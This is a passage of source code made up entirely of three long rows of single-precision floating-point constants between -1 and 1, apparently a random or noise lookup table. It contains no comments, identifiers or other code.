-0.893972634695541f, 0.442396058421524f, -0.427901040556135f, -0.740186385510743f, 0.788155411447006f, -0.541278113339818f, 0.509586521956676f, -0.461159620800394f, 0.664671981848839f, 0.880365181842209f, -0.0831685214800200f, 0.952827020902887f, 0.183226454466898f, -0.176729350626920f, 0.851946105206441f, -0.361976142339276f, 0.357209010683668f, 0.982462882042961f, -0.690757734204635f, 0.178681657923363f, -0.0804395784672956f, 0.971787623805611f, 0.875217157810758f, 0.160844021450331f, -0.359951755747351f, 0.0178495935461525f, 0.0203610854761294f, 0.413933338290502f, -0.676038601090005f, -0.111093077131977f, -0.381792206260952f, -0.459903351782575f, 0.308522841938619f, 0.324961267942541f, 0.365201262605939f, 0.732543185546895f, -0.559558093250200f, 0.848266528378337f, -0.185546299813159f, 0.997052205707190f, -0.932554828383249f, -0.106322273904826f, -0.0690562674587807f, 0.919489002936141f, 0.137210930163322f, -0.664517238270193f, -0.985856844408119f, -0.0719443995256963f, -0.602400574547167f, -0.398979518518077f, -0.581117055144305f, -0.0626081333075188f, -0.0372763806643306f, -0.688808592854889f, 0.703980953746103f, -0.480647539644480f, 0.615510592326288f, -0.940226159289884f, -0.953483236094818f, -0.300312284206625f, -0.819419230573751f, 0.657560634657022f, -0.0500336389233971f, 0.628589817614501f, 0.717012803783103f, -0.0315450822394920f, -0.445526173532186f, 0.521475917548504f, -0.479539088650145f, 0.695075897089419f, -0.0365115706205694f, 0.0256264409967832f, -0.0121306374106025f, -0.817618774100623f, 0.375407640753000f, 0.944299492219378f, -0.717119961760812f, -0.120740746804286f, 0.995225399986245f, -0.460846026818625f, 0.904552069467540f, 0.807270804870602f, -0.842962924665094f, -0.923108139392625f, -0.130295037856512f, 0.760624035683226f, 0.986419847047289f, -0.959218334866074f, -0.203345611185410f, -0.474420035241129f, -0.872329912560413f, 0.485994152094788f, -0.515456811755484f, -0.948541161235413f, 0.509659433909651f, 0.783030335970347f, -4.41004028146619e-05f, -0.664795573083349f, 0.917509788523214f, -0.824045573084530f, -0.461857767121051f, -0.667434409929092f, -0.00822974230444418f, 0.825606347148302f, -0.396378080991589f, 0.0161379983198293f, -0.940751675506308f, -0.520997013834332f, -0.239727035024153f, -0.354546027474561f, 0.430652211989940f, -0.557416557692462f, -0.357117274957257f, -0.891975448321656f, -0.0775302131779423f, 0.716775563686830f, -0.903453980341467f, 0.946455001410598f, -0.615060907661003f, 0.964288374469340f, 0.0506144897273089f, 0.720601612869967f, -0.991323837622476f, 0.647403093538608f, -0.400304988135589f, -0.883732066109751f, -0.792060477777513f, 0.710867542231890f, -0.840766000234525f, 0.460362174479788f, -0.834771343071341f, -0.329399142231491f, -0.139853203297018f, -0.760035442359396f, -0.546795911275364f, -0.598172518777125f, 0.244198671304740f, 0.0816980976432087f, -0.978470883754859f, -0.425173722072458f, -0.469868865988971f, 0.847396146045236f, 0.0513388454446360f, -0.545662072513986f, -0.130534232821355f, -0.654100097045099f, 0.0409163969999120f, 0.573001152600502f, 0.706046270983569f, 0.587208280138624f, 0.237670099964068f, 0.848355476872244f, -0.318971649676775f, -0.659343733364940f, 0.321817022392701f, -0.595779268050966f, -0.114109784140171f, 0.998897482902424f, -0.615792624357560f, -0.384232465470235f, 0.156963634764123f, 0.499645454164798f, -0.627603624482829f, 0.169440948996654f, 0.109888994819522f, -0.492231461622548f, -0.463014567947703f, 0.825436145613203f, -0.0271223123229367f, 0.497887971992266f, 0.811868354230459f, -0.192668816770168f, 0.287930938097264f, 0.0283112173817568f, 0.791359470942568f, 0.365100854153897f, -0.566922537281877f, 0.915510517906894f, 0.674211624006981f, 0.505848146007678f, 0.509348889158374f, -0.0477364348461706f, 0.409703628204478f, -0.820970358007873f, -0.565377675052345f, 0.810052924776160f, -0.448904038826591f, -0.830251135876445f, -0.660589978662428f, -0.890196028167542f, 0.130526506200048f, 0.924600157422957f, 0.587215078998604f, 0.727552064386916f, -0.224172021948978f, -0.182984019951690f, 0.308546229024235f, 0.971188035736775f, 0.0229902398155457f, 0.0608728749867729f, -0.0712317776940203f, 0.549832674352445f, -0.600015690750697f, -0.0495103483291919f, -0.564669458296125f, 0.726873201108802f, -0.197851942682556f, -0.983422510445155f, -0.905314463127421f, 0.453289030588920f, 0.792504915504518f, -0.840826310621539f, 0.0979339624518987f, -0.506416975007688f, -0.143310751135128f, -0.451251909709310f, -0.356156486602212f, -0.430777119656356f, -0.593002001098269f, -0.212505135257792f, -0.378005313269430f, 0.516460778234704f, -0.574171750919822f, -0.702870049350445f, 0.190454765104412f, 0.694962035659523f, 0.177498499962424f, -0.00126954773922439f, -0.766110586126502f, -0.769862303237397f, -0.208905136673906f, 0.0728026097773338f, -0.467480087700933f, -0.368839893652514f, -0.608806955889496f, -0.531329879815774f, 0.411920547737697f, -0.407318902586407f, 0.922406353838750f, -0.0272310683929855f, 0.781051179942937f, 0.860271807949640f, -0.703736733439623f, -0.285650334863399f, -0.466904334435873f, -0.716816768536707f, 0.0869377378786880f, -0.280331892461309f, 0.773946156883160f, -0.139856444064730f, 0.575680110908147f, -0.887887626173303f, 0.314286545048942f, 0.673119170729964f, 0.520399233930039f, 0.581347801663144f, 0.731708017815653f, 0.672583525027818f, -0.0534590776637494f, -0.880572908687369f, 0.171150522778545f, -0.377041265530122f, -0.478003213002057f, 0.458602883802583f, 0.836824527658741f, -0.0686622680764437f, -0.301000630566919f, -0.652562984155554f, 0.604631263268903f, 0.791770979838877f, 0.0790491584346489f, 0.812646960034949f, 0.138794042671596f, 0.709411730079774f, 0.226484869016811f, 0.797388098554019f, -0.162225991160828f, -0.0295749256270541f, 0.218242165083417f, 0.442845427695148f, -0.480622209857766f, 0.873464432574125f, -0.868017543466245f, -0.435489784247438f, 0.0589001507244313f, 0.829134536020168f, 0.614063504046069f, -0.0498036542372153f, -0.803122689381969f, -0.495207870035615f, -0.126836582496751f, -0.0715271574335641f, -0.600815700055194f, 0.434993547671690f, -0.891665893518364f, 0.515259516482513f, 0.475325173737397f, -0.716548558025405f, -0.881097306400870f, 0.738462585443836f, -0.244486212870867f, -0.750368936394211f, 0.303496411011494f, -0.602701428305057f, -0.400346153635480f, -0.300002744969481f, -0.518552440201900f, 0.437964598712580f, -0.816689813412280f, -0.814392666138757f, -0.888568091915377f, 0.449416911306476f, -0.231889259488176f, 0.589775175288682f, 0.817224890217553f, 0.518646001325967f, -0.406046689874425f, -0.822100925750380f, 0.0528571826460145f, 0.502410576690672f, -0.795964394123106f, 0.0587614583641718f, -0.960750994569408f, 0.0366871534513058f, 0.723018804498087f, 0.0607565140068052f, 0.337380735516841f, 0.810682513202583f, -0.636743814403438f, 0.287171363373943f, -0.651998050401509f, -0.913606366413836f, 0.642186273694795f, -0.197674788034638f, -0.261253290776174f, 0.696450222503413f, -0.178859131737947f, -0.388167582041093f, -0.0593965887764258f, -0.638517356081890f, 0.804955770174156f, 0.220726627737384f, 0.263712659676167f, -0.214285245576410f, -0.267640297291737f, -0.268009369634837f, -0.957726158424482f, 0.708674977585603f, 0.336764494287156f, -0.985742981232916f, -0.883053422617300f, 0.560301189759340f, -0.692967747323003f, 0.977419052658484f, 0.0749830817523358f, 0.916618822945019f, 0.941660769630849f, 0.454145712080114f, 0.176036352526593f, 0.103229925297037f, 0.936507745325933f, -0.870159095287666f, -0.106465234217744f, 0.684178938709319f, 0.669775326656340f, -0.620857222834950f, 0.939074959093680f, -0.592224920792423f, 0.620706594809134f, 0.0456831422421473f, 0.738727999152789f, -0.751090911501446f, 0.683669216540363f, 0.153825621938168f, -0.255671723273688f, -0.773772764499189f, -0.667753952059522f, 0.887641972124558f, -0.664358118222428f, 0.512196622998674f, -0.0234362604874272f, 0.942878420215240f, -0.406617487191566f, -0.140379594627198f, -0.0587253931185765f, 0.419570878799757f, 0.533674656399007f, 0.108777047479414f, -0.695880604462579f, 0.481525582104998f, 0.511165135231064f, 0.136105196996658f, -0.481918536916982f, 0.757546893769363f, 0.957648176032083f, -0.908743619686586f, -0.395640537583668f, 0.0493439519763970f, 0.293569612893396f, 0.387420368421925f, 0.0928482742403196f, 0.407302666835821f, -0.787979245337637f, -0.968269218296593f, -0.409517247978962f, 0.775076200793689f, -0.217738166217447f, -0.370002483875998f, -0.570975789421316f, 0.844070553036478f, 0.668620483679341f, 0.00139813137293987f, -0.0912495442122028f, -0.0375370940595317f, 0.723007849224616f, 0.369999774115317f, 0.862240371150479f, 0.749525689790910f, 0.742992309993137f, -0.495813719545874f, -0.101947508108870f, -0.152536889610560f, 0.0598123624723883f, -0.436496899502871f, 0.520026918467263f, 0.241005798945400f, 0.970456690492966f, -0.376417224463442f, 0.614223236672359f, 0.336733945081746f, 0.376602027190701f, 0.00373987228923456f, -0.415425448787442f, 0.330560415319813f, -0.277250467297048f, 0.861008806111330f, -0.00655914035278493f, 0.810375656135324f, -0.0113631690466840f, -0.191699616402287f, -0.808952204107388f, 0.813180054552450f, 0.472985418265257f, 0.180147510998781f, -0.262580568975063f, 0.211152909221457f, -0.882514639604489f, -0.575589191561861f, 0.106927561961233f, 0.964591320892138f, 0.738192954342001f, 0.687649298588472f, -0.229142519883570f, -0.354434619656716f, -0.420522788056562f, 0.684638470896597f, -0.608080686160634f, 0.172668231197353f, 0.571295073068563f, -0.202258974457565f, 0.183035733721930f, -0.425589835248751f, -0.181955831301366f, 0.798193178080558f, -0.719799491928433f, -0.376418218727565f, 0.100370714244854f, -0.674685331738723f, -0.528950922374114f, 0.480443520097694f, 0.432497368954013f, 0.887439714903326f, 0.598241701759478f, -0.250064970303242f, -0.743111010477448f, 0.936189907099845f, -0.867383557331633f, 0.852536175309851f, -0.426378707286007f, 0.793838638663137f, 0.856262917294594f, 0.734157059815547f, 0.00452009494051664f, -0.884258713402709f, -0.0835595438259760f, -0.735457210599502f, -0.710727075357488f, 0.858050351034768f, -0.626070522205317f, -0.848201957131499f, 0.0180933910837406f, -0.0350884878366737f, -0.893836321618480f, -0.0682788306189803f, -0.539993219329871f, -0.557660404374917f, 0.268969847256868f, 0.505363999910409f, -0.0464757944714727f, -0.529689906951922,
-0.138445378586710f, 0.992531054118938f, 0.974585450054910f, 0.940349645687053f, 0.648085319100986f, -0.410736404028701f, 0.804131759246012f, -0.774897101314247f, 0.178246382655493f, -0.361699623232501f, -0.836093509684016f, 0.806309487627613f, -0.758182371322663f, 0.718410035716663f, -0.213136487421868f, -0.0563465521625497f, 0.0411192849612654f, -0.532497330327019f, -0.0419839515250475f, 0.769432068229678f, 0.253556234192255f, -0.745131216530268f, -0.890639235422577f, -0.140643637034330f, 0.318127074868768f, -0.497415632768561f, -0.383508820416842f, -0.468783454456628f, -0.289531078129000f, -0.0831555730758713f, 0.0107128404847427f, -0.567754537918270f, 0.926366772604370f, -0.600154724486768f, -0.0920759547805206f, 0.889582307602381f, -0.0710437157605615f, -0.182724716112986f, 0.228135065644420f, 0.851015495602628f, 0.653035806598961f, -0.986676404958677f, -0.871714951288816f, -0.824734086356281f, -0.490239304888267f, 0.244318295619814f, -0.923794688606381f, 0.670566388343457f, 0.849438492633058f, -0.225318912425116f, 0.461075616917687f, 0.656436404012820f, -0.416403369651597f, 0.205630417444150f, -0.163509095777762f, -0.0670299490212758f, -0.315561491397908f, -0.0952855008191476f, -0.377993693497066f, 0.860172853824826f, -0.669622978211317f, 0.595058880455053f, -0.425661849490015f, -0.0405359106780283f, 0.129968697438974f, -0.156244199842099f, 0.996996665434629f, -0.888570357356090f, -0.925646614993414f, -0.753998082238076f, 0.714491335460749f, -0.307849905639463f, 0.536274323586448f, -0.462944722411129f, 0.622202376598447f, -0.215582012734053f, -0.115115003363232f, 0.128168110175570f, -0.556263623663708f, 0.921813264386344f, -0.288173574121268f, -0.175054002159610f, 0.0621862747516269f, -0.468862899314091f, 0.976184545317535f, 0.468469061953779f, 0.679394669665911f, -0.0651943232114096f, 0.872740953203360f, -0.917720162541254f, 0.271535917769933f, 0.265441861283112f, 0.542190484993772f, -0.0208550501604048f, 0.983272473294640f, -0.522164666401537f, 0.833823680455458f, 0.414337644113416f, 0.588576354535126f, 0.318369292694380f, 0.870442561030567f, -0.422722224743553f, -0.200185003922166f, -0.770185495487048f, -0.878134057034045f, -0.712873198675798f, 0.647706512601268f, 0.593648188899773f, 0.126171748161942f, -0.189622212946038f, 0.707877641788638f, 0.790070498218410f, 0.698576567863428f, 0.594748885238005f, 0.567439045931572f, -0.591839707769224f, -0.632709967090349f, 0.415471238430617f, 0.115403276784208f, -0.375797954748234f, 0.123611001678020f, -0.864109581464288f, 0.115346512920739f, -0.515581940111704f, 0.880606114362175f, 0.356011740142007f, -0.318112820131587f, 0.765766689783476f, -0.226772670084743f, 0.442067390135885f, 0.348547568069751f, 0.862154389627291f, -0.894863284060244f, 0.475714942110286f, 0.552377629980789f, -0.0838875341374268f, -0.227654706745770f, 0.0998522598030438f, 0.870812229993830f, -0.518250234958224f, -0.0635791579471283f, -0.284101882205902f, -0.454751668241269f, 0.720773434493943f, 0.0756117818245317f, -0.0572317848090118f, -0.692584830354208f, 0.776250173796276f, 0.514052484701885f, 0.00770839936587864f, 0.775668871262837f, 0.933055956393907f, 0.0501713700022097f, -0.922194089981246f, 0.266653852930886f, -0.408584553416038f, 0.797066793752635f, -0.785570848747099f, 0.931403610887599f, 0.660859952465710f, -0.630963871875185f, -0.673000673345695f, 0.518897255252506f, -0.342041914345720f, 0.405613809903414f, -0.373516504843492f, -0.208292396009356f, 0.0510871025610438f, 0.396765368381847f, 0.00537609874241829f, 0.935717099427788f, -0.564801066383885f, -0.907523685862547f, 0.670551481631625f, -0.457309616171932f, 0.364001526470449f, 0.140805524345232f, -0.349945327329409f, -0.0361532758624807f, -0.304268551311720f, 0.618482952755668f, -0.0120110524971313f, 0.106364353621731f, -0.427587198043230f, 0.464249033810121f, -0.808297048471569f, 0.675277128303038f, -0.0663762607268352f, -0.431951364170808f, 0.953951718476660f, -0.725934553905574f, -0.685163723789561f, 0.164132617720945f, 0.934798872032034f, -0.695343627424553f, -0.420317401094920f, -0.689247558220342f, -0.605894279765940f, -0.693832779320227f, 0.455037128281788f, 0.968645000038447f, -0.0839147410947130f, 0.603463489419899f, 0.776913738299999f, -0.491560292499776f, 0.692235227850848f, 0.0824017593921889f, 0.459024952691847f, -0.918050509352710f, -0.777463066447746f, -0.161045596440278f, 0.982603547894360f, 0.700884888820475f, 0.998304481713913f, -0.362488733430088f, 0.171493948866881f, 0.565871153533442f, -0.965620428705067f, -0.835532968802398f, 0.885598629033760f, 0.609604257914327f, 0.725300244775050f, 0.153524048564152f, -0.662541112390878f, 0.912145212201290f, 0.135610445338421f, -0.0813934125800109f, 0.242209063597546f, -0.264886126609115f, -0.335070345839122f, 0.823958964903978f, -0.313110855907701f, -0.354068037633970f, -0.0381190024996405f, 0.117794735211134f, -0.604442743379238f, 0.524930955656444f, -0.754959642694882f, -0.359151666678207f, -0.247910739722172f, 0.573570999369016f, 0.543167570010806f, -0.718553346110069f, 0.202415372555816f, -0.860091438569300f, -0.0125446132328610f, 0.509348782140749f, 0.349261188228469f, 0.424395913611831f, 0.0557092265870811f, 0.740276822496471f, 0.479158001215769f, -0.221873518706244f, -0.744883456979009f, 0.393114117430743f, -0.733203119089531f, -0.506531269498885f, -0.505532097672033f, -0.509440981371663f, 0.666118722468113f, 0.0164067375520756f, -0.530276655546078f, 0.786338654343788f, -0.985008085364936f, 0.479988836226036f, -0.233652481382475f, 0.838641098910395f, -0.407379719374768f, -0.314266358910263f, -0.938033692224531f, -0.627320971378707f, -0.229174127295511f, 0.642505983671691f, -0.387855473250297f, 0.360324209821339f, -0.900766206699468f, 0.176676285751262f, 0.833894117554548f, -0.0207873177403817f, -0.202625183820044f, 0.706644325019314f, -0.817922707040537f, -0.242742059004419f, 0.282109349674866f, 0.0164603911954744f, -0.504625902855950f, 0.0415496120997125f, -0.787777778295785f, 0.362588721999523f, -0.371357162843751f, -0.818375262182416f, 0.727779997467707f, -0.836502839702384f, 0.0423869176265037f, -0.283934686546853f, 0.665864224978728f, -0.0428162304637920f, 0.243534621880753f, -0.803789304599586f, 0.570866852088607f, 0.340615579467880f, -0.323456502239327f, 0.403242371952148f, -0.0679158901587793f, -0.866985651416456f, -0.439873628406335f, -0.246357367033863f, 0.436234859832243f, 0.560714706225535f, -0.632564381913014f, -0.316451076258298f, -0.977122780282003f, 0.0741405862954117f, -0.217862250253606f, 0.887093089232476f, -0.418281865182365f, -0.638553415535034f, -0.262631979211197f, -0.567499176465252f, 0.676178859605923f, 0.933551699581608f, -0.0139735129263516f, -0.610719575803582f, 0.565123751720690f, 0.230672823422021f, 0.323935439339366f, 0.635142215896104f, 0.981184609133698f, 0.883668802319366f, -0.281281673616891f, 0.583204242495555f, 0.150854689098149f, -0.775890223139644f, 0.419951701513177f, -0.565767744791652f, -0.855232478054420f, 0.472188579901153f, -0.501463211798228f, 0.727960518524943f, 0.977187851385321f, 0.908113737694915f, -0.570200931535418f, 0.716036980035073f, 0.147838037485588f, 0.218820342222622f, -0.0673193461152677f, 0.433612519652386f, 0.449601736390411f, 0.556458722303960f, 0.417345590820787f, -0.783345413347895f, 0.858903187230710f, 0.178354025272247f, -0.130619018471658f, 0.858282827806003f, 0.508916167873459f, 0.139535936201634f, 0.240400109521332f, -0.102942705407161f, 0.841682417072375f, -0.696350979494975f, -0.793644449061670f, -0.698273636720141f, -0.228676865074326f, -0.195917865828574f, -0.306483109792438f, -0.865320326812636f, 0.659185969805107f, -0.368847387975239f, 0.337343722359231f, 0.0723822170210744f, 0.907475280998826f, 0.515168301614856f, 0.0790167120323961f, -0.756697420780699f, 0.966477562469936f, -0.663190129982788f, 0.145761851826854f, 0.376079225193173f, 0.631883071958707f, -0.956568110802436f, -0.735990864315730f, -0.795999578321461f, 0.958459465243432f, 0.319180429028702f, -0.907664654881857f, 0.992381284978014f, -0.511208110440365f, -0.714797966909523f, -0.717021870210999f, 0.545775837604423f, -0.0443828768329362f, 0.333311879948434f, 0.617237628406207f, -0.0895192882305207f, 0.506491005527430f, -0.354205929841282f, 0.777993157224477f, -0.667532693120319f, -0.105006112097613f, -0.337191911902220f, -0.337964429160738f, 0.609014812897482f, -0.368922911475613f, 0.889184378947484f, -0.676392242654630f, 0.429716870038086f, 0.916751115281822f, -0.655611878274175f, 0.538928395264007f, 0.382674384886170f, 0.0580742902089004f, -0.0124611362991478f, -0.0240388340005702f, -0.726296501832402f, -0.805701334732693f, 0.945344279474230f, -0.668066000378724f, 0.761436128738929f, -0.314275650172792f, -0.394331510439346f, 0.262887592668013f, 0.155064800148016f, -0.561829218656134f, -0.491542446753775f, 0.922248338472926f, 0.574575887413700f, 0.631722295929094f, -0.368854197209698f, 0.984780657580794f, 0.845286034922662f, -0.965631634115590f, -0.435710392440405f, -0.616488688868478f, 0.885865616625930f, 0.425733070487506f, 0.776721663555227f, -0.0652930284860209f, -0.734431875923792f, 0.725517937762654f, -0.474146253075108f, 0.895357779508529f, -0.0725048758018345f, -0.360185856190223f, 0.559350280666427f, 0.363695103660096f, 0.152231254765544f, 0.698196273442671f, 0.0518001104801953f, -0.139037096279713f, 0.340637636595997f, 0.584243998596814f, -0.442304329829130f, -0.501574294329747f, 0.250155103662225f, 0.320493999001502f, -0.150217982700108f, -0.0381390799255577f, 0.734760815545772f, -0.574574233376749f, 0.593440338163725f, 0.408049858247104f, -0.0845023181203484f, -0.855507806920297f, -0.473198309372409f, 0.331033392104072f, 0.196445364460658f, -0.799745050834061f, -0.973517526224363f, 0.333748727500822f, -0.772356831553232f, -0.430793038424357f, 0.649852557262489f, 0.504357958431509f, 0.779588082810134f, 0.0111847677569461f, -0.995526851285634f, -0.676007517368195f, 0.216774012875664f, -0.618928775636485f, -0.418043155155598f, -0.532063904545563f, -0.566979013994587f, 0.246319907266774f, 0.868651379198082f, -0.0433430896891542f, 0.463004686009427f, -0.162112430964754f, 0.285379745117090f, 0.901512987149549f, -0.706916206313139f, 0.685678130935725f, -0.673017501666538f, 0.0616272859909088f, 0.147532779463338f, -0.0108539826652629f, 0.960841184863269f, -0.950190006701182f, 0.992171414792924f, 0.715577145884581,
0.975908103138584f, -0.769014520827696f, -0.463212420186382f, -0.0761813427220397f, -0.704830850508594f, -0.220579724380686f, 0.840893269946637f, -0.432181989863148f, -0.956790418498701f, 0.122344784859397f, -0.242133592220528f, 0.908514497715246f, 0.303653521236872f, 0.756500828196849f, -0.752207807361831f, 0.367894642791072f, -0.702474131286247f, 0.189226989057138f, 0.401804209353236f, 0.608493473010907f, -0.437378101171900f, -0.158801297891213f, -0.381027984311046f, -0.949403985394057f, 0.370189685252539f, -0.872655295458655f, -0.337934909993878f, -0.0619622888328213f, 0.352094440420005f, 0.128759637109350f, 0.432413186229881f, -0.497474226759161f, 0.552933107875735f, 0.332665936587804f, -0.559261497212156f, -0.886188834336549f, 0.0170548801295034f, 0.192729852728271f, -0.674432365770129f, -0.526014722983374f, 0.425009223123802f, -0.186164676538888f, 0.190362042383007f, -0.0930204201587825f, 0.794188212052413f, -0.243549629178106f, 0.118970185744958f, -0.216230226310237f, 0.412570247218594f, 0.659556685538155f, -0.150540425515543f, -0.850858266540316f, -0.843827815842486f, 0.629298164439457f, 0.944304062363374f, -0.117764731240517f, 0.558568737697335f, 0.731745392387362f, -0.00413812760139165f, -0.251933493011685f, -0.473346352965658f, 0.178783613032362f, 0.547769344759580f, -0.414330113592064f, -0.550251453379012f, -0.925253680779905f, 0.623832825809309f, -0.494251081521428f, 0.0643361026845244f, 0.727107898350051f, 0.814864886916156f, 0.0177325632172460f, 0.749324691554934f, -0.266301024849295f, 0.675202550635588f, -0.0748462128620644f, -0.747853513216831f, -0.222563643557406f, -0.608884446788701f, -0.0374135649675464f, 0.852579123003940f, -0.585927920129879f, 0.604065857569210f, 0.573072924781108f, 0.816831955879520f, 0.723975232584095f, 0.367887024581694f, 0.765292601085641f, 0.836490699448589f, 0.623434131440044f, 0.743568762340577f, 0.140474444458222f, -0.746327891490507f, 0.700496422194197f, 0.549693846244016f, 0.729372970291116f, 0.728185563682229f, -0.614909046853182f, -0.756209631211223f, -0.530222413502955f, -0.312453162783936f, -0.752364704008701f, -0.634475515424180f, -0.133239439768175f, 0.252790153178337f, 0.760626105409900f, -0.838262213452153f, -0.266093046689486f, 0.549339088324875f, -0.278178592347115f, 0.190458706141960f, 0.906814275056971f, -0.579827980376046f, -0.134191470195968f, 0.244720998349483f, 0.795502128014338f, 0.287019836683889f, -0.906277889518234f, -0.817071933038363f, 0.613378274793081f, 0.518208081766432f, -0.388902790616382f, -0.785778461147273f, 0.574976429920521f, -0.283168065839246f, -0.857322381041868f, 0.424932015236353f, 0.919756642423073f, 0.412896759578072f, -0.976511020897041f, 0.157825653359643f, -0.0606591903280758f, 0.508438714729350f, -0.513115001652116f, 0.881391940997543f, -0.129708782033534f, 0.382462819411800f, -0.538751535594113f, 0.816770663497783f, 0.869013288394013f, -0.728381721932439f, -0.956736333819522f, -0.839107107637575f, 0.394821058517234f, 0.721983518815999f, -0.0847231453556103f, 0.0206545030491683f, 0.414707730497861f, 0.246591855656934f, -0.546187573590839f, -0.578957978692654f, 0.162844799084821f, 0.493731081270802f, -0.765815587549615f, 0.151613093585910f, -0.112883397239635f, 0.879319928900002f, 0.295375250614654f, -0.505370201033860f, -0.635319167339584f, -0.309818465920078f, 0.768627024018538f, -0.544374452091825f, 0.758974060573473f, -0.106050973670013f, 0.508616501970226f, -0.207224226211215f, 0.616842248601645f, 0.688381226662374f, 0.643728558619948f, -0.906982649598668f, 0.526262112978799f, -0.666644270400075f, 0.314806313630502f, -0.292000096972562f, -0.358353880616007f, 0.156344541906829f, 0.637606941586786f, -0.199572501073669f, -0.669369278061572f, 0.237513395315133f, -0.576741807179552f, 0.0750117203638310f, -0.633877533594996f, 0.829285089669934f, 0.622345234313277f, -0.892617583855908f, -0.280449892200797f, 0.241147361581176f, -0.0784016295955696f, 0.414945819313502f, 0.287238318044040f, -0.691458270387106f, 0.597656137422422f, 0.549022082569726f, -0.590776624040652f, 0.666740423918019f, -0.743115212424850f, 0.164036350785269f, -0.229427480781113f, 0.283602991107853f, -0.533993445778340f, 0.185806116700093f, -0.317953364055307f, 0.140412503708198f, 0.280706883979940f, 0.0439806827213221f, 0.176471515460512f, -0.614144204292693f, 0.314194083857125f, 0.519572839644130f, -0.850547081260782f, -0.515460990713008f, 0.353087995032390f, -0.0241014119925820f, 0.269453276643829f, -0.608515317887958f, -0.777818225534647f, -0.834277444316067f, -0.842707175235771f, -0.929547602540323f, -0.884691870945475f, 0.710591809809692f, 0.143423776629673f, 0.797136471728128f, 0.233311155245426f, -0.923169961754164f, 0.627911916101674f, -0.338187201367212f, 0.211044396110784f, -0.443699655795038f, 0.256593551969761f, -0.406688684034041f, 0.364900889856600f, 0.900530571350288f, -0.160476177153537f, 0.0634217008071056f, 0.709241599309354f, -0.789562037599596f, 0.00891621061029158f, 0.801674768895422f, -0.704378031949125f, 0.430576706378041f, 0.796937507044124f, -0.193348850174576f, -0.493924902919358f, -0.935781577118986f, 0.468142331108629f, 0.00965840085728753f, 0.0834398764999438f, 0.599712941235232f, -0.735675950275295f, 0.200152501800787f, -0.751603779675650f, 0.0697488403240092f, 0.300634243862625f, -0.901969784333300f, -0.958816237033024f, -0.754976119377363f, 0.719702182489622f, -0.338038642556184f, -0.703280944186943f, -0.579148694005994f, 0.556115731092296f, -0.920710928208685f, -0.278178108839470f, -0.793795308512285f, 0.916547680808212f, 0.419467216101691f, 0.177932177026735f, 0.682833725334600f, -0.926849803428705f, 0.179045225389745f, -0.209414969718359f, -0.889551871881532f, 0.961659420127890f, -0.250341627298645f, 0.105606170554974f, -0.547860346689080f, 0.845704098204057f, 0.886892635683680f, 0.768134466622042f, -0.954777823503721f, -0.718106389777233f, -0.580779231998609f, -0.0241800476518665f, 0.815063484178525f, -0.351971452344303f, 0.770369263680192f, 0.520886146470712f, -0.236456125482696f, 0.0900173391919312f, -0.00610611501589697f, 0.0986788038317752f, 0.277083194173223f, 0.0877085076786761f, 0.695814138412262f, 0.281021332783082f, -0.701468161850407f, -0.785496560046616f, -0.805623403379156f, -0.0524204125046179f, 0.0836418099696601f, 0.467252832788807f, 0.148967572323544f, 0.314141193557124f, -0.722297309069329f, 0.147068590429361f, -0.868307069306109f, 0.118712645744921f, 0.737896544941878f, 0.897526485681248f, 0.842207508585120f, 0.817408479766998f, 0.522315328909182f, -0.409136979179218f, 0.580654760034574f, -0.384701243761730f, -0.769398544059918f, -0.791317178699730f, 0.357020281620118f, -0.235410423267782f, -0.326332500533018f, -0.416891876268284f, -0.863029987000052f, 0.505171215727166f, -0.728709553380428f, 0.554546891580919f, 0.737429989077498f, -0.355088598334119f, 0.911987317939763f, 0.525846127625130f, 0.851549830104189f, -0.772303673276796f, 0.0421942169353806f, -0.521836640530782f, 0.995279650924240f, -0.186831960875832f, 0.421233670121556f, -0.0891583750230474f, 0.661100169663965f, 0.393809652414978f, 0.346165179707090f, 0.384203760628548f, -0.329281932973211f, 0.446133401546675f, -0.748200766224366f, -0.0275154142375615f, 0.771701580845288f, -0.0177829993094090f, 0.406813206251131f, 0.606021648140155f, 0.218435152341115f, 0.236571855064013f, -0.513495776515847f, 0.729086381137554f, -0.137775825035815f, 0.0320966747364262f, -0.313487802206023f, 0.105472520924239f, 0.423606700821375f, -0.231301628369264f, 0.465218832919270f, 0.379671652150568f, -0.00497780485272159f, 0.509290230688327f, 0.467240127182068f, 0.353587964503845f, 0.390455232684039f, 0.721536288927627f, -0.838922323815237f, 0.827628029266859f, 0.768844149796201f, -0.813963144642386f, -0.797054297232628f, -0.933039367361175f, -0.0723957249866136f, -0.664824147893300f, 0.695914840901794f, -0.206071660300270f, 0.879389414398409f, 0.181872681691416f, -0.582831210733033f, 0.624249199449935f, 0.204959730900228f, 0.354831594370532f, 0.337152636438178f, 0.596132114241829f, -0.295619496794481f, -0.443402055665686f, 0.743995051028396f, 0.543706744165365f, 0.825846155044062f, -0.764982315603181f, -0.0355223730700034f, -0.682467026736627f, -0.914037445162109f, -0.222823484413727f, 0.825323277024566f, 0.0769459194171547f, 0.696453968928934f, 0.760786120466962f, -0.525470048583831f, 0.764981036001869f, 0.458525204937000f, -0.612703584870878f, 0.626016142683351f, 0.284799326870320f, -0.130410894642153f, -0.730659587111424f, 0.0251896513929686f, 0.744421417725379f, 0.481278905427271f, -0.718686189713675f, -0.972110566787501f, -0.178005803066219f, -0.761536801353512f, 0.675177569459847f, -0.613068600254845f, -0.854757540148688f, 0.641823580903407f, 0.112536000301536f, 0.201235170163357f, -0.332623522893231f, 0.602028236317460f, 0.487529253813741f, -0.936537443253385f, 0.932862477850079f, -0.0977461167435834f, -0.485449569929182f, -0.575807340541437f, -0.920527242558033f, -0.938208754460503f, 0.890054000488493f, -0.154888511872567f, -0.106629818916523f, 0.323343252623500f, 0.105328135407289f, -0.837197492121459f, 0.497769113944639f, -0.234127101891878f, 0.840922493788059f, -0.994297350473539f, 0.241966031396186f, -0.241143860453769f, -0.598953146106117f, 0.839112451637864f, -0.639567866338402f, -0.219908091959649f, -0.778137266578287f, -0.201424793310289f, -0.486105622640452f, 0.874947034932591f, -0.131437343585340f, -0.674427373037920f, -0.161007203320351f, 0.215285933912207f, -0.963047650748652f, -0.841020847986178f, 0.259702280444602f, -0.165325097679823f, 0.572379756389254f, -0.435802768396928f, -0.0776125194906274f, -0.0293182206559168f, -0.847945015803839f, -0.576891917046364f, 0.728544652294888f, 0.110676857648527f, 0.760459056611184f, 0.486936926897001f, 0.680603035572503f, 0.330358411271561f, 0.901153157113818f, -0.893323547516767f, 0.268679990552354f, 0.794615743189695f, 0.221637368947158f, -0.0207579360252996f, -0.585634995914835f, 0.587646126395593f, -0.317780705107399f, 0.790321547328449f, 